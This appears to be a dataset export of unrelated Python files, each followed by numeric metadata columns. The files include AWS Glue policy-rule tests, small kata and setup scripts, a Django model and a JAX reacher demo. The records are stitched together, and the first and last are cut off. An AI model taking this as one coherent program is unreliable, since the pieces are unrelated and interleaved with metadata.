create_empty_entity(GlueDataCatalogTable) gdc_table.region = 'us-east-1' context = AwsEnvironmentContext(glue_data_catalog_policy=[gdc], glue_data_catalog_tables=[gdc_table]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.FAILED, result.status) self.assertEqual(1, len(result.issues)) self.assertTrue("in region `us-east-1` is using principal `AWS: *`" in result.issues[0].evidence) def test_non_car_aws_glue_data_catalog_policy_wildcard__only_effected_action__fail(self): # Arrange gdc = GlueDataCatalogPolicy([PolicyStatement(StatementEffect.ALLOW, ['glue:*'], ['*'], Principal(PrincipalType.AWS, ["arn:aws:iam::123456789012:root"]))], None, None, 'us-east-1') gdc_table: GlueDataCatalogTable = create_empty_entity(GlueDataCatalogTable) gdc_table.region = 'us-east-1' context = AwsEnvironmentContext(glue_data_catalog_policy=[gdc], glue_data_catalog_tables=[gdc_table]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.FAILED, result.status) self.assertEqual(1, len(result.issues)) self.assertTrue("in region `us-east-1` is using wildcard action `glue:*`, without" in result.issues[0].evidence) def test_non_car_aws_glue_data_catalog_policy_wildcard_pass(self): # Arrange gdc = GlueDataCatalogPolicy([PolicyStatement(StatementEffect.ALLOW, ['glue:GetDataCatalogEncryptionSettings'], ['*'], Principal(PrincipalType.AWS, ["arn:aws:iam::123456789012:root"]))], None, None, 'us-east-1') gdc_table: GlueDataCatalogTable = create_empty_entity(GlueDataCatalogTable) gdc_table.region = 'us-east-1' context = AwsEnvironmentContext(glue_data_catalog_policy=[gdc], glue_data_catalog_tables=[gdc_table]) # Act result = self.rule.run(context, {}) # Assert self.assertEqual(RuleResultType.SUCCESS, result.status) self.assertEqual(0, len(result.issues))
57.337349
141
0.653289
466
4,759
6.420601
0.186695
0.040107
0.075201
0.070187
0.754345
0.729278
0.705882
0.705882
0.705882
0.670455
0
0.011523
0.252364
4,759
82
142
58.036585
0.829399
0.01576
0
0.603175
0
0
0.089274
0.028688
0
0
0
0
0.174603
1
0.079365
false
0.015873
0.142857
0
0.238095
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
cf2c4ab4a5fe69c6307b0216295415b81fc083b7
64
py
Python
Solutions/Python/Every nth array element. (Basic)(7 kyu).py
collenirwin/Codewars-Solutions
14bad3878d3fc37c7e73cbaaaa24cd28f759ce3b
[ "MIT" ]
null
null
null
Solutions/Python/Every nth array element. (Basic)(7 kyu).py
collenirwin/Codewars-Solutions
14bad3878d3fc37c7e73cbaaaa24cd28f759ce3b
[ "MIT" ]
null
null
null
Solutions/Python/Every nth array element. (Basic)(7 kyu).py
collenirwin/Codewars-Solutions
14bad3878d3fc37c7e73cbaaaa24cd28f759ce3b
[ "MIT" ]
null
null
null
def every(lst, step = 1, start = 0): return lst[start::step]
32
36
0.625
11
64
3.636364
0.727273
0
0
0
0
0
0
0
0
0
0
0.039216
0.203125
64
2
37
32
0.745098
0
0
0
0
0
0
0
0
0
0
0
0
1
0.5
false
0
0
0.5
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
cf73e95791c852306ff69b55e6040ca20c7c8a1e
112
py
Python
setup.py
yurebecca/spam-tracker
c210f683cdef1b6c61edc45759534a8f8a2cef49
[ "MIT" ]
null
null
null
setup.py
yurebecca/spam-tracker
c210f683cdef1b6c61edc45759534a8f8a2cef49
[ "MIT" ]
null
null
null
setup.py
yurebecca/spam-tracker
c210f683cdef1b6c61edc45759534a8f8a2cef49
[ "MIT" ]
null
null
null
from setuptools import setup, find_packages setup(name='spam-tracker', version='1.0', packages=find_packages())
37.333333
67
0.785714
16
112
5.375
0.75
0.27907
0
0
0
0
0
0
0
0
0
0.019231
0.071429
112
3
67
37.333333
0.807692
0
0
0
0
0
0.132743
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
cf869a6b53075ac9bef2608af3bc1d8c82632c90
114
py
Python
src/tsa/spectral/__init__.py
astromancer/tsa
ccab807ffd5479ac5831c06b331132d8fc32fb85
[ "MIT" ]
null
null
null
src/tsa/spectral/__init__.py
astromancer/tsa
ccab807ffd5479ac5831c06b331132d8fc32fb85
[ "MIT" ]
null
null
null
src/tsa/spectral/__init__.py
astromancer/tsa
ccab807ffd5479ac5831c06b331132d8fc32fb85
[ "MIT" ]
null
null
null
""" Tools for Frequency Spectrum Estimation """ from .core import * from .tfr import TimeFrequencyRepresentation
16.285714
44
0.780702
12
114
7.416667
0.833333
0
0
0
0
0
0
0
0
0
0
0
0.140351
114
6
45
19
0.908163
0.342105
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d83f6552c374db57fb8b4a32172cd44785ee921a
40
py
Python
faust_bootstrap/core/streams/__init__.py
bakdata/faust-bootstrap
0d8d91aeb28128e992efdc6f1a5f5eb967f3b26b
[ "MIT" ]
6
2021-02-21T05:49:33.000Z
2021-08-01T06:10:55.000Z
faust_bootstrap/core/streams/__init__.py
bakdata/faust-bootstrap
0d8d91aeb28128e992efdc6f1a5f5eb967f3b26b
[ "MIT" ]
4
2020-11-24T06:51:29.000Z
2021-03-26T13:33:21.000Z
faust_bootstrap/core/streams/__init__.py
bakdata/faust-bootstrap
0d8d91aeb28128e992efdc6f1a5f5eb967f3b26b
[ "MIT" ]
2
2021-04-06T12:19:15.000Z
2022-03-25T04:29:14.000Z
from .schemas import ErrorHandlingSchema
40
40
0.9
4
40
9
1
0
0
0
0
0
0
0
0
0
0
0
0.075
40
1
40
40
0.972973
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
d848b7a3a5e73124874e10fad817bb9ec1c949f3
65
py
Python
data/__init__.py
Viveksbawa/SARAS-ESAD-baseline
3696e77ffbe9f10f18a2a9e1ac74f0b09076e6b0
[ "MIT" ]
20
2020-04-15T20:15:28.000Z
2022-01-27T12:22:09.000Z
data/__init__.py
Viveksbawa/SARAS-ESAD-baseline
3696e77ffbe9f10f18a2a9e1ac74f0b09076e6b0
[ "MIT" ]
5
2019-09-24T09:17:11.000Z
2021-08-10T19:07:23.000Z
data/__init__.py
Viveksbawa/SARAS-ESAD-baseline
3696e77ffbe9f10f18a2a9e1ac74f0b09076e6b0
[ "MIT" ]
8
2020-04-25T09:40:45.000Z
2021-07-04T14:31:46.000Z
from .detectionDatasets import DetectionDataset, custum_collate
21.666667
63
0.876923
6
65
9.333333
1
0
0
0
0
0
0
0
0
0
0
0
0.092308
65
2
64
32.5
0.949153
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
d851284f2327918c4d2b1b27e392967e7126f1cc
22
py
Python
exercicio9.py
railenedev/curso-em-video
b59d431f84bdeae157c8b816dbc548ae336c6138
[ "MIT" ]
null
null
null
exercicio9.py
railenedev/curso-em-video
b59d431f84bdeae157c8b816dbc548ae336c6138
[ "MIT" ]
null
null
null
exercicio9.py
railenedev/curso-em-video
b59d431f84bdeae157c8b816dbc548ae336c6138
[ "MIT" ]
null
null
null
print('arquivo vazio')
22
22
0.772727
3
22
5.666667
1
0
0
0
0
0
0
0
0
0
0
0
0.045455
22
1
22
22
0.809524
0
0
0
0
0
0.565217
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
5
d89a326ba96f781fab084ccfd49820cd38e041cb
129
py
Python
vagrant/scripts/spatialite.py
kalxas/eoxserver
8073447d926f3833923bde7b7061e8a1658dee06
[ "OML" ]
25
2015-08-10T19:34:34.000Z
2021-02-05T08:28:01.000Z
vagrant/scripts/spatialite.py
kalxas/eoxserver
8073447d926f3833923bde7b7061e8a1658dee06
[ "OML" ]
153
2015-01-20T08:35:49.000Z
2022-03-16T11:00:56.000Z
vagrant/scripts/spatialite.py
kalxas/eoxserver
8073447d926f3833923bde7b7061e8a1658dee06
[ "OML" ]
10
2015-01-23T15:48:30.000Z
2021-01-21T15:41:18.000Z
#!/usr/bin/python from eoxserver.core.instance import _init_spatialite _init_spatialite("autotest","/var/eoxserver/autotest/")
21.5
55
0.79845
16
129
6.1875
0.75
0.282828
0
0
0
0
0
0
0
0
0
0
0.062016
129
5
56
25.8
0.818182
0.124031
0
0
0
0
0.285714
0.214286
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
d8d8ba7746a9cea55ca67c5c5c7114763142591d
248
py
Python
substrabac/substrapp/serializers/ledger/computeplan/util.py
GuillaumeCisco/substra-backend
777ec0cfc10a1aad34cccba449e4923c20786d32
[ "Apache-2.0" ]
null
null
null
substrabac/substrapp/serializers/ledger/computeplan/util.py
GuillaumeCisco/substra-backend
777ec0cfc10a1aad34cccba449e4923c20786d32
[ "Apache-2.0" ]
null
null
null
substrabac/substrapp/serializers/ledger/computeplan/util.py
GuillaumeCisco/substra-backend
777ec0cfc10a1aad34cccba449e4923c20786d32
[ "Apache-2.0" ]
null
null
null
from __future__ import absolute_import, unicode_literals from substrapp.ledger_utils import invoke_ledger def createLedgerComputePlan(args, sync=False): return invoke_ledger(fcn='createComputePlan', args=args, sync=sync, only_pkhash=False)
27.555556
90
0.826613
31
248
6.290323
0.645161
0.123077
0
0
0
0
0
0
0
0
0
0
0.100806
248
8
91
31
0.874439
0
0
0
0
0
0.068548
0
0
0
0
0
0
1
0.25
false
0
0.5
0.25
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
1
1
0
0
5
d8e33b604ebe6492ac50b0faedc306260ce4ebb5
584
py
Python
djangoautoconf/auto_conf_admin_tools/additional_attr.py
weijia/djangoautoconf
590acfdcc6a3e051a2048ba1dbf980f908a7af91
[ "BSD-3-Clause" ]
null
null
null
djangoautoconf/auto_conf_admin_tools/additional_attr.py
weijia/djangoautoconf
590acfdcc6a3e051a2048ba1dbf980f908a7af91
[ "BSD-3-Clause" ]
null
null
null
djangoautoconf/auto_conf_admin_tools/additional_attr.py
weijia/djangoautoconf
590acfdcc6a3e051a2048ba1dbf980f908a7af91
[ "BSD-3-Clause" ]
null
null
null
from djangoautoconf.auto_conf_admin_tools.admin_feature_base import AdminFeatureBase __author__ = 'weijia' class AdditionalAdminAttr(AdminFeatureBase): def __init__(self): super(AdditionalAdminAttr, self).__init__() self.additional_attr_dict = {} def process_parent_class_list(self, parent_list, class_inst): pass def process_admin_class_attr(self, admin_attr, class_inst): admin_attr.update(self.additional_attr_dict) def set_additional_attr(self, additional_attr_dict): self.additional_attr_dict = additional_attr_dict
29.2
84
0.767123
70
584
5.828571
0.4
0.205882
0.220588
0.215686
0.122549
0
0
0
0
0
0
0
0.162671
584
19
85
30.736842
0.834356
0
0
0
0
0
0.010274
0
0
0
0
0
0
1
0.333333
false
0.083333
0.083333
0
0.5
0
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
0
0
0
5
2b27b850666147d0984b4529669de4a340012876
41
py
Python
test.py
kjbeyers/test
b1c0c08a1e0f38c4437f0eaab39d71ebc71d63a7
[ "Apache-2.0" ]
null
null
null
test.py
kjbeyers/test
b1c0c08a1e0f38c4437f0eaab39d71ebc71d63a7
[ "Apache-2.0" ]
null
null
null
test.py
kjbeyers/test
b1c0c08a1e0f38c4437f0eaab39d71ebc71d63a7
[ "Apache-2.0" ]
null
null
null
print('Hello World') print('Testing...')
13.666667
20
0.658537
5
41
5.4
0.8
0
0
0
0
0
0
0
0
0
0
0
0.073171
41
2
21
20.5
0.710526
0
0
0
0
0
0.512195
0
0
0
0
0
0
1
0
true
0
0
0
0
1
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
5
2b2a9d16f2f7a8ecfc15b81950d417118011de24
172
py
Python
astroquery/nrao/tests/test_nrao.py
jdnc/astroquery
a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f
[ "BSD-3-Clause" ]
1
2019-12-17T00:43:56.000Z
2019-12-17T00:43:56.000Z
astroquery/nrao/tests/test_nrao.py
jdnc/astroquery
a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f
[ "BSD-3-Clause" ]
null
null
null
astroquery/nrao/tests/test_nrao.py
jdnc/astroquery
a89dcc5f4132bc2e9d72da1aa583dbc9e7e8216f
[ "BSD-3-Clause" ]
null
null
null
# Licensed under a 3-clause BSD style license - see LICENSE.rst from ... import nrao def test_get_image(): fitsfile = nrao.get_nrao_image(49.489,-0.37,overwrite=True)
28.666667
63
0.738372
29
172
4.241379
0.827586
0
0
0
0
0
0
0
0
0
0
0.061224
0.145349
172
5
64
34.4
0.77551
0.354651
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
false
0
0.333333
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
1
0
1
0
0
5
2b665d4a8395cc77028d227e031f267802b2451a
38
py
Python
src/__main__.py
terminal-labs/spinglass
0754265dd4550fc449071fa79c431515cc710b47
[ "MIT" ]
null
null
null
src/__main__.py
terminal-labs/spinglass
0754265dd4550fc449071fa79c431515cc710b47
[ "MIT" ]
null
null
null
src/__main__.py
terminal-labs/spinglass
0754265dd4550fc449071fa79c431515cc710b47
[ "MIT" ]
null
null
null
def main(): print("stub") main()
7.6
17
0.526316
5
38
4
0.8
0
0
0
0
0
0
0
0
0
0
0
0.236842
38
4
18
9.5
0.689655
0
0
0
0
0
0.105263
0
0
0
0
0
0
1
0.333333
true
0
0
0
0.333333
0.333333
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
0
0
0
5
990bcfb171dfb235b88f4c2203b640a7ec93778f
77
py
Python
pytoo/hello.py
jfigura/playground
7f31b8dd962590ab8b700bf949ffc93a88c88f2c
[ "MIT" ]
null
null
null
pytoo/hello.py
jfigura/playground
7f31b8dd962590ab8b700bf949ffc93a88c88f2c
[ "MIT" ]
null
null
null
pytoo/hello.py
jfigura/playground
7f31b8dd962590ab8b700bf949ffc93a88c88f2c
[ "MIT" ]
null
null
null
"""Hello World.""" def hello(): """Prints hello.""" print('hello')
11
23
0.506494
8
77
4.875
0.625
0
0
0
0
0
0
0
0
0
0
0
0.220779
77
6
24
12.833333
0.65
0.337662
0
0
0
0
0.125
0
0
0
0
0
0
1
0.5
true
0
0
0
0.5
0.5
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
0
1
0
5
9912ad29395eb159859e31705a0f810dc79a8214
78
py
Python
2to3-script.py
daPharaoh/croutom-templet
81be6e60d400ddb00036502ff27592f8ceed6a2f
[ "BSD-3-Clause" ]
null
null
null
2to3-script.py
daPharaoh/croutom-templet
81be6e60d400ddb00036502ff27592f8ceed6a2f
[ "BSD-3-Clause" ]
null
null
null
2to3-script.py
daPharaoh/croutom-templet
81be6e60d400ddb00036502ff27592f8ceed6a2f
[ "BSD-3-Clause" ]
null
null
null
import sys from lib2to3.main import main sys.exit(main("lib2to3.fixes"))
15.6
32
0.730769
12
78
4.75
0.583333
0
0
0
0
0
0
0
0
0
0
0.060606
0.153846
78
4
33
19.5
0.80303
0
0
0
0
0
0.175676
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
9959f42f0afd8d024e9998e8aa6c207dba1ea947
89
py
Python
results/admin.py
regina404/school
ec7d44c158694293c381c31d778b97496ccf154b
[ "MIT" ]
null
null
null
results/admin.py
regina404/school
ec7d44c158694293c381c31d778b97496ccf154b
[ "MIT" ]
null
null
null
results/admin.py
regina404/school
ec7d44c158694293c381c31d778b97496ccf154b
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import Result admin.site.register(Result)
17.8
32
0.820225
13
89
5.615385
0.692308
0
0
0
0
0
0
0
0
0
0
0
0.11236
89
5
33
17.8
0.924051
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.666667
0
0.666667
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
99607098ecdb95388f94a515d9f2bf5890412074
54
py
Python
keycloak_admin_aio/_resources/client_scopes/by_id/scope_mappings/__init__.py
V-Mann-Nick/keycloak-admin-aio
83ac1af910e492a5864eb369aacfc0512e5c8c45
[ "Apache-2.0" ]
12
2021-11-08T18:03:09.000Z
2022-03-17T16:34:06.000Z
keycloak_admin_aio/_resources/client_scopes/by_id/scope_mappings/__init__.py
V-Mann-Nick/keycloak-admin-aio
83ac1af910e492a5864eb369aacfc0512e5c8c45
[ "Apache-2.0" ]
null
null
null
keycloak_admin_aio/_resources/client_scopes/by_id/scope_mappings/__init__.py
V-Mann-Nick/keycloak-admin-aio
83ac1af910e492a5864eb369aacfc0512e5c8c45
[ "Apache-2.0" ]
1
2021-11-14T13:55:30.000Z
2021-11-14T13:55:30.000Z
from .scope_mappings import ClientScopesScopeMappings
27
53
0.907407
5
54
9.6
1
0
0
0
0
0
0
0
0
0
0
0
0.074074
54
1
54
54
0.96
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
99628169ce3099433cc67b8fa4c97a8153357572
181
py
Python
tests/migrations/migrations_test_apps/unmigrated_app_syncdb/models.py
Yoann-Vie/esgi-hearthstone
115d03426c7e8e80d89883b78ac72114c29bed12
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
tests/migrations/migrations_test_apps/unmigrated_app_syncdb/models.py
Yoann-Vie/esgi-hearthstone
115d03426c7e8e80d89883b78ac72114c29bed12
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
tests/migrations/migrations_test_apps/unmigrated_app_syncdb/models.py
Yoann-Vie/esgi-hearthstone
115d03426c7e8e80d89883b78ac72114c29bed12
[ "PSF-2.0", "BSD-3-Clause" ]
null
null
null
from django.db import models class Classroom(models.Model): pass class Lesson(models.Model): classroom = models.ForeignKey(Classroom, on_delete=models.CASCADE)
18.1
71
0.723757
22
181
5.909091
0.636364
0.230769
0
0
0
0
0
0
0
0
0
0
0.187845
181
9
72
20.111111
0.884354
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0.2
0.2
0
0.8
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
5
9977324f99e57503d91149c821ceed7a768938dc
20
py
Python
api/versioned/v2/router.py
neosergio/library_tracker
ab7cb28a55ebf14f2b94eadab3defed03fd66e07
[ "MIT" ]
null
null
null
api/versioned/v2/router.py
neosergio/library_tracker
ab7cb28a55ebf14f2b94eadab3defed03fd66e07
[ "MIT" ]
null
null
null
api/versioned/v2/router.py
neosergio/library_tracker
ab7cb28a55ebf14f2b94eadab3defed03fd66e07
[ "MIT" ]
null
null
null
# Routers of API v2
10
19
0.7
4
20
3.5
1
0
0
0
0
0
0
0
0
0
0
0.066667
0.25
20
1
20
20
0.866667
0.85
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
9979b622f8d818a85cb6ba985b7c69053d0556a4
99
py
Python
pandas_streaming/exc/__init__.py
Pandinosaurus/pandas_streaming
03008b63545e3634290ef0c041e920d94d454ccf
[ "MIT" ]
20
2017-09-23T03:23:13.000Z
2022-02-21T09:10:48.000Z
pandas_streaming/exc/__init__.py
Pandinosaurus/pandas_streaming
03008b63545e3634290ef0c041e920d94d454ccf
[ "MIT" ]
19
2017-09-24T17:10:39.000Z
2021-12-29T11:02:58.000Z
pandas_streaming/exc/__init__.py
Pandinosaurus/pandas_streaming
03008b63545e3634290ef0c041e920d94d454ccf
[ "MIT" ]
7
2018-11-09T08:15:20.000Z
2021-09-17T07:39:44.000Z
""" @file @brief Shortcuts to *exc*. """ from .exc_streaming import StreamingInefficientException
14.142857
56
0.757576
10
99
7.4
0.9
0
0
0
0
0
0
0
0
0
0
0
0.121212
99
6
57
16.5
0.850575
0.323232
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
997b5352d11d7929d64dd15e54d341d9b915132c
166
py
Python
lecture16.py
ZnoKunG/PythonProject
388b5dfeb0161aee66094e7b2ecc2d6ed13588bd
[ "MIT" ]
null
null
null
lecture16.py
ZnoKunG/PythonProject
388b5dfeb0161aee66094e7b2ecc2d6ed13588bd
[ "MIT" ]
null
null
null
lecture16.py
ZnoKunG/PythonProject
388b5dfeb0161aee66094e7b2ecc2d6ed13588bd
[ "MIT" ]
null
null
null
print(type("Hello World")) print(type(10)) print(type("10")) print(type(10.1)) print(type(False)) print(type(1j)) print(10) print("Hello World") print(type(10+3.5))
15.090909
26
0.680723
30
166
3.766667
0.333333
0.557522
0.389381
0.336283
0.566372
0.292035
0
0
0
0
0
0.090909
0.072289
166
10
27
16.6
0.642857
0
0
0
0
0
0.145455
0
0
0
0
0
0
1
0
true
0
0
0
0
1
0
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
1
0
5
514326a1af515fbfdb3c926a93e2742325bba5bf
351
py
Python
recipes/pyopt/run_test.py
corneliusroemer/bioconda-recipes
e1eced9063e15f6a97ab2b8e42cf3e38af4c93ba
[ "MIT" ]
null
null
null
recipes/pyopt/run_test.py
corneliusroemer/bioconda-recipes
e1eced9063e15f6a97ab2b8e42cf3e38af4c93ba
[ "MIT" ]
null
null
null
recipes/pyopt/run_test.py
corneliusroemer/bioconda-recipes
e1eced9063e15f6a97ab2b8e42cf3e38af4c93ba
[ "MIT" ]
null
null
null
#!/usr/bin/env python from pyOpt import ALGENCAN from pyOpt import ALPSO from pyOpt import COBYLA from pyOpt import CONMIN from pyOpt import FILTERSD from pyOpt import KSOPT from pyOpt import MIDACO from pyOpt import NSGA2 from pyOpt import Optimization from pyOpt import PSQP from pyOpt import SDPEN from pyOpt import SLSQP from pyOpt import SOLVOPT
23.4
30
0.831909
56
351
5.214286
0.357143
0.400685
0.667808
0
0
0
0
0
0
0
0
0.003367
0.153846
351
14
31
25.071429
0.979798
0.05698
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
518f02d1c31636648a91b7b577dc7285f9ab375e
21
py
Python
hello.py
zhouliang666/py18
33ccbaf5cd8705bc28858ee0bee37bd73a72b8ff
[ "MIT" ]
null
null
null
hello.py
zhouliang666/py18
33ccbaf5cd8705bc28858ee0bee37bd73a72b8ff
[ "MIT" ]
null
null
null
hello.py
zhouliang666/py18
33ccbaf5cd8705bc28858ee0bee37bd73a72b8ff
[ "MIT" ]
null
null
null
hel1 = 10 hrl2 = 20
5.25
9
0.571429
4
21
3
1
0
0
0
0
0
0
0
0
0
0
0.428571
0.333333
21
3
10
7
0.428571
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
5196eca5c14d5c6cab6639611792be79825590ea
64
py
Python
src/csbuilder/cspacket/__init__.py
huykingsofm/csbuilder
c6ba6f0dd3fd2a0d03c7492de20a7107cb1b9191
[ "MIT" ]
null
null
null
src/csbuilder/cspacket/__init__.py
huykingsofm/csbuilder
c6ba6f0dd3fd2a0d03c7492de20a7107cb1b9191
[ "MIT" ]
null
null
null
src/csbuilder/cspacket/__init__.py
huykingsofm/csbuilder
c6ba6f0dd3fd2a0d03c7492de20a7107cb1b9191
[ "MIT" ]
null
null
null
from csbuilder.cspacket.cspacket import CSPacket, CSPacketField
32
63
0.875
7
64
8
0.714286
0
0
0
0
0
0
0
0
0
0
0
0.078125
64
1
64
64
0.949153
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
51ed6ccf2413efb6bcf3b935886d77d619463729
3,361
py
Python
scripts/demo/test_jit_jacrev_reacher_with_extended_state.py
yz-mao/jbdl
a5380233b3795c8aaa9acd9e5c07fa44f8a5dadb
[ "MIT" ]
21
2021-08-29T06:59:18.000Z
2022-01-13T22:53:02.000Z
scripts/demo/test_jit_jacrev_reacher_with_extended_state.py
yz-mao/jbdl
a5380233b3795c8aaa9acd9e5c07fa44f8a5dadb
[ "MIT" ]
2
2021-08-31T08:34:09.000Z
2021-09-06T07:40:51.000Z
scripts/demo/test_jit_jacrev_reacher_with_extended_state.py
yz-mao/jbdl
a5380233b3795c8aaa9acd9e5c07fa44f8a5dadb
[ "MIT" ]
4
2021-08-29T06:59:22.000Z
2021-10-04T05:59:41.000Z
import jax from jbdl.envs.reacher_env_with_extended_state import ReacherWithExtendedState import jax.numpy as jnp import time env = ReacherWithExtendedState() m_body0 = 0.5 m_body1 = 2.0 ic_params_body0 = jnp.zeros((6,)) ic_params_body1 = jnp.zeros((6,)) joint_damping_params = jnp.array([0.7, 0.7]) pure_env_params = (m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params) state = env.reset(*pure_env_params) action = jnp.array([1.0, 0.0]) extended_state = env.extended_state print("state: ", state) print("extended_state: ", extended_state) print("=====================") start = time.time() next_extended_state = env.extended_dynamics_step_with_params( env.dynamics_fun, env.extended_state, action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params) print(next_extended_state) duration = time.time() - start print("duration:", duration) start = time.time() next_extended_state = env.extended_dynamics_step_with_params( env.dynamics_fun, env.extended_state, action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params) print(next_extended_state) duration = time.time() - start print("duration:", duration) print("========================") batch_size = 10 v_extended_state = jnp.repeat(jnp.expand_dims( env.extended_state, 0), batch_size, axis=0) v_action = jnp.repeat(jnp.expand_dims(action, 0), batch_size, axis=0) start = time.time() v_extended_dynamics_step_with_params = jax.vmap( env.extended_dynamics_step_with_params, (None, 0, 0, None, None, None, None, None), 0) v_next_extended_state = v_extended_dynamics_step_with_params( env.dynamics_fun, v_extended_state, v_action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params) print(v_next_extended_state) duration = time.time() - start print("duration:", duration) start = time.time() v_next_extended_state = v_extended_dynamics_step_with_params( env.dynamics_fun, v_extended_state, v_action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params) print(v_next_extended_state) duration = time.time() - start print("duration:", duration) print("==================") start = time.time() dns_to_action = jax.jit(jax.jacrev( env.extended_dynamics_step_with_params, argnums=7), static_argnums=0) print(dns_to_action(env.dynamics_fun, env.extended_state, action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params)) duration = time.time() - start print("duration:", duration) start = time.time() print(dns_to_action(env.dynamics_fun, env.extended_state, action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params)) duration = time.time() - start print("duration:", duration) print("==================") start = time.time() v_dns_to_action = jax.vmap( dns_to_action, (None, 0, 0, None, None, None, None, None), 0) print(v_dns_to_action(env.dynamics_fun, v_extended_state, v_action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params)) duration = time.time() - start print("duration:", duration) start = time.time() print(v_dns_to_action(env.dynamics_fun, v_extended_state, v_action, m_body0, m_body1, ic_params_body0, ic_params_body1, joint_damping_params)) duration = time.time() - start print("duration:", duration) print("================")
34.649485
123
0.750074
506
3,361
4.598814
0.110672
0.128492
0.055866
0.046412
0.779544
